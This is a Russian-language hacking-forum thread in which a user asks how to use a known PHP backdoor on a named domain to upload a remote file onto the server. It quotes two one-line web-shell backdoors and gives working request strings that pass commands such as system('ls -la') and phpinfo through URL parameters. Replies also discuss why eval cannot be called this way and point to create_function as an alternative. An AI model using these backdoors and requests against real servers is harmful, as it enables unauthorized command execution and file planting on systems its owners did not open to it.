Заливка файла через бэкдор

Discussion in 'PHP' started by IloveRU, 4 Mar 2021.

  1. IloveRU

    IloveRU Member

    Joined:
    21 Jul 2010
    Messages:
    53
    Likes Received:
    14
    Reputations:
    1
    если я знаю, что по адресу http://domain.ru/sc.php

    лежит бэкдор

    PHP:
    <?php $_REQUEST['f']($_REQUEST['c']); ?>
    что я должен ввести в адресной строке, чтобы залить на сервер файл http://thai.by/12.txt ?
     
  2. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    как вариант:
    Естественно перед заливкой, лучше посмотреть, в какие папки можно лить и есть ли в них какие-то ограничения, к примеру таким запросом:
    ?f=system&c=ls -la
     
    _________________________
  3. IloveRU

    IloveRU Member

    Joined:
    21 Jul 2010
    Messages:
    53
    Likes Received:
    14
    Reputations:
    1
    спасибо
    а если бэкдор выглядит так?

    PHP:
    <?php
    assert
    (stripslashes($_REQUEST[local]));
    ?>
     
  4. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    там есть зависимости от версии пхп, надо на конкретном случае смотреть, ну я бы смотрел в сторону

     
    _________________________
    IloveRU likes this.
  5. IloveRU

    IloveRU Member

    Joined:
    21 Jul 2010
    Messages:
    53
    Likes Received:
    14
    Reputations:
    1
    спасибо
     
  6. Hohol99

    Hohol99 Member

    Joined:
    7 Apr 2020
    Messages:
    61
    Likes Received:
    17
    Reputations:
    0
    В чем вредоносность получения суперпеременной?)
     
  7. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,177
    Likes Received:
    1,156
    Reputations:
    202
    вредносность в том что входящие данные никак не фильтруются от кого они приходят и какого рода эти данные. Выше коментарии почитайте. У вас "доступ" к вызову функции и её параметрам.
    any_func(any_params) а дальше только ваша фантазия.
     
    Dark~Angel and K800 like this.
  8. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    В данном примере, мы можем объявлять псевдо функции в качестве переменной $_REQUEST['f'] и в качестве переменной $_REQUEST['c'], можем задать какието параметры/значения, еще какието функции....

    пример:
    $_REQUEST['f']($_REQUEST['c']);

    $_REQUEST['f']=eval
    $_REQUEST['c']=phpinfo()

    localhost/script.php?f=eval&c=phpinfo()

    eval(phpinfo());
     
    _________________________
    Suicide, Spinus and K800 like this.
  9. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    390
    Reputations:
    58
    Если брать данный пример
    за практический пример эксплоита eval, то в этом случае интерпретатор вернёт фатальную ошибку: "вызов неопределённой функции".
    Потому как eval это языковая конструкция, такая же как echo, print, include и т.д., и не может вызываться при помощи переменных функций.
    Чтобы для кода $_REQUEST['f']($_REQUEST['c']); вывести весь phpinfo, эксплоит должен быть такого вида: ?f=phpinfo&c=-1

    А чтобы обратиться к eval как к переменной функции, мне известен только вариант через функцию create_function, который, кстати, используется в одном "ненашемском" шелле. Но она уже устарела и в "бесконечной" версии удалена:
     
    crlf likes this.